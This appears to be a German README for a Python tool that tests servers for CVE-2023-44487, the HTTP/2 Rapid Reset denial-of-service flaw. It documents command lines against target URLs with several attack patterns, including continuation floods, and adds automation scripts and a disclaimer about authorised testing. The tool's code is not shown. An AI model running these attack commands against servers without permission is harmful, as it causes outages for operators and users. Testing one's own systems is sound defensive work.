
Python-basiertes Testwerkzeug für CVE-2023-44487 (HTTP/2 Rapid Reset) mit mehreren Angriffsmustern, granularer Konfiguration und Überwachung für autorisierte Sicherheitsbewertungen.
Ein umfassendes Python-Testwerkzeug für CVE-2023-44487, die HTTP/2-Rapid-Reset-Schwachstelle. Diese erweiterte Version bietet granulare Kontrolle über Testparameter, mehrere Angriffsmuster und erweiterte Überwachungsfunktionen.
Dieses Werkzeug ist NUR für Bildungszwecke und autorisierte Tests gedacht!
CVE-2023-44487, auch bekannt als „HTTP/2 Rapid Reset", ist eine kritische Schwachstelle im HTTP/2-Protokoll, die Angreifern Folgendes ermöglicht:
CVSS-Score: 7,5 (Hoch)
Auswirkung: Denial of Service, Ressourcenerschöpfung
git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
chmod +x rapid_reset_test.py
python3 --version # Sollte 3.7+ sein
python3 rapid_reset_test.py https://target-server.com
python3 rapid_reset_test.py https://target.com \
--connections 50 \
--requests 1000 \
--delay 0 \
--pattern rapid_reset \
--track-latency \
--output json
python3 rapid_reset_test.py https://target.com \
--pattern burst_reset \
--burst-size 5 \
--burst-delay 2.0 \
--custom-headers "User-Agent: Mozilla/5.0 (legitbot)" "Authorization: Bearer token123" \
--jitter 0.3
python3 rapid_reset_test.py https://target.com \
--window-size 32768 \
--frame-size 32768 \
--header-table-size 8192 \
--enable-push \
--priority-frames \
--randomize-streams
python3 rapid_reset_test.py https://target.com \
--connections 10 \
--requests 200 \
--pattern mixed_pattern \
--track-latency \
--track-responses \
--monitor-memory \
--verbose \
--debug \
--log-file attack.log
python3 rapid_reset_test.py https://target.com \
--pattern continuation_flood \
--requests 50 \
--random-headers \
--header-count 20
| Option | Beschreibung | Standard |
|---|---|---|
-c, --connections N | Anzahl gleichzeitiger Verbindungen | 1 |
--connection-timeout SEC | Verbindungstimeout in Sekunden | 10 |
--read-timeout SEC | Lese-Timeout für Antworten | 5 |
--connection-delay SEC | Verzögerung zwischen Verbindungen | 0,0 |
| Option | Beschreibung | Standard |
|---|---|---|
-r, --requests N | Anfragen pro Verbindung | 100 |
--delay SEC | Verzögerung zwischen HEADERS und RST_STREAM | 0,001 |
--request-delay SEC | Verzögerung zwischen Anfragen | 0,0 |
--jitter FACTOR | Timing-Randomisierungsfaktor | 0,0 |
| Option | Beschreibung | Standard |
|---|---|---|
--pattern TYPE | Zu verwendendes Angriffsmuster | rapid_reset |
--burst-size N | Anfragen pro Burst | 10 |
--burst-delay SEC | Verzögerung zwischen Bursts | 0,1 |
Verfügbare Muster:
rapid_reset – Standard-Rapid-Reset-Angriffburst_reset – Burst-basierte Angriffegradual_reset – Allmählich steigende Raterandom_reset – Zufälliges Timingcontinuation_flood – CONTINUATION-Frame-Floodmixed_pattern – Mischung aus Mustern| Option | Beschreibung | Standard |
|---|---|---|
--window-size BYTES | HTTP/2-Anfangsfenstergröße | 65535 |
--frame-size BYTES | Maximale Framegröße | 16384 |
--header-table-size BYTES | HPACK-Header-Tabellengröße | 4096 |
--enable-push | HTTP/2-Server-Push aktivieren | False |
--rst-error-code CODE | RST_STREAM-Fehlercode | 8 |
| Option | Beschreibung | Standard |
|---|---|---|
--custom-headers HEADER | Benutzerdefinierte Header (Name: Wert) | None |
--random-headers | Zufällige Header generieren | False |
--header-count N | Anzahl zufälliger Header | 5 |
| Option | Beschreibung | Standard |
|---|---|---|
--randomize-streams | Zufällige Stream-IDs verwenden | False |
--priority-frames | Prioritätsinformationen einbeziehen | False |
--continue-on-error | Nach Fehlern fortfahren | True |
--max-errors N | Maximale Fehler vor dem Stoppen | 10 |
| Option | Beschreibung | Standard |
|---|---|---|
--track-latency | Anfragelatenz verfolgen | False |
--track-responses | Serverantworten verfolgen | False |
--monitor-memory | Speichernutzung überwachen | False |
| Option | Beschreibung | Standard |
|---|---|---|
--output FORMAT | Ausgabeformat | console |
--output-file FILE | Ausgabedateiname | automatisch generiert |
--verbose, -v | Ausführliche Ausgabe | False |
--debug | Debug-Protokollierung | False |
--log-file FILE | In Datei protokollieren | None |
Verfügbare Ausgabeformate:
console – Menschenlesbare Konsolenausgabejson – Maschinenlesbares JSONcsv – Tabellenkalkulationskompatibles CSVxml – Strukturiertes XML-FormatDas Werkzeug liefert umfassende Ergebnisse, einschließlich:
{
"target_url": "https://example.com",
"test_config": {
"attack_pattern": "rapid_reset",
"max_connections": 10,
"requests_per_connection": 100,
"delay_between_headers_rst": 0.001
},
"test_summary": {
"duration": 2.34,
"successful_connections": 10,
"total_successful_attacks": 950,
"success_rate": 95.0,
"requests_per_second": 405.98,
"total_bytes_sent": 125600,
"average_latency": 0.0024
},
"connection_stats": [...],
"errors": [...],
"timestamp": 1640995200.0
}
Das Werkzeug bewertet die Schwachstelle automatisch:
Wenn Ihr Server als anfällig befunden wird, implementieren Sie diese Gegenmaßnahmen:
import subprocess
import json
# Automatisierten Test ausführen
result = subprocess.run([
'python3', 'rapid_reset_test.py',
'https://target.com',
'--pattern', 'mixed_pattern',
'--output', 'json',
'--output-file', 'results.json'
])
# Ergebnisse analysieren
with open('results.json') as f:
data = json.load(f)
vulnerability_score = data['test_summary']['success_rate']
if vulnerability_score > 80:
print(f"HOHES RISIKO: {vulnerability_score}% Erfolgsrate")
#!/bin/bash
# Cron-Job: 0 2 * * * /path/to/monitor.sh
python3 rapid_reset_test.py https://myserver.com \
--pattern rapid_reset \
--connections 5 \
--requests 50 \
--output json \
--output-file /var/log/rapid-reset-$(date +%Y%m%d).json
# Alarmieren, wenn Schwachstelle erkannt wird
if [ $(jq '.test_summary.success_rate' /var/log/rapid-reset-$(date +%Y%m%d).json) -gt 80 ]; then
echo "ALARM: Server anfällig für Rapid-Reset-Angriff" | mail -s "Sicherheitsalarm" [email protected]
fi
import pandas as pd
import matplotlib.pyplot as plt
# CSV-Ergebnisse laden und analysieren
df = pd.read_csv('results.csv')
# Angriffserfolg nach Verbindung visualisieren
plt.figure(figsize=(12, 6))
plt.subplot(1, 2, 1)
df.plot(x='connection_id', y='successful_attacks', kind='bar')
plt.title('Angriffserfolg nach Verbindung')
plt.subplot(1, 2, 2)
df['success_rate'] = (df['successful_attacks'] / df['total_attacks']) * 100
plt.hist(df['success_rate'], bins=20)
plt.title('Erfolgsratenverteilung')
plt.show()
Verbindung abgelehnt:
SSL/TLS-Fehler:
--debug für detaillierte SSL-Informationen verwendenNiedrige Erfolgsraten:
Leistungsprobleme:
--debug und --log-file für Analysen verwenden--verbose --debug --log-file debug.log--connections 1 --requests 10--track-responses--track-latencyDieses Werkzeug wird unter der MIT-Lizenz bereitgestellt. Details finden Sie in der LICENSE-Datei.
Dieses Werkzeug ist für Cybersicherheitsexperten, Forscher und Systemadministratoren gedacht, um ihre eigenen Systeme oder Systeme zu testen, für die sie eine ausdrückliche Genehmigung haben. Die Autoren sind nicht verantwortlich für jeglichen Missbrauch dieses Werkzeugs.
Wichtige rechtliche Punkte:
Denken Sie daran: Mit großer Macht kommt große Verantwortung. Verwenden Sie dieses Werkzeug ethisch und legal.
Die erweiterte Version bleibt abwärtskompatibel mit der Basisversion. Alle vorhandenen Befehlszeilenoptionen funktionieren weiterhin, wobei neue Optionen zusätzliche Funktionen bieten.
Für Benutzer, die von der Basisversion upgraden:
# Alte Basisverwendung funktioniert weiterhin
python3 rapid_reset_test.py https://example.com --connections 5 --requests 100
# Neue erweiterte Verwendung mit zusätzlichen Optionen
python3 rapid_reset_test.py https://example.com \
--connections 5 --requests 100 \
--pattern burst_reset --track-latency --output json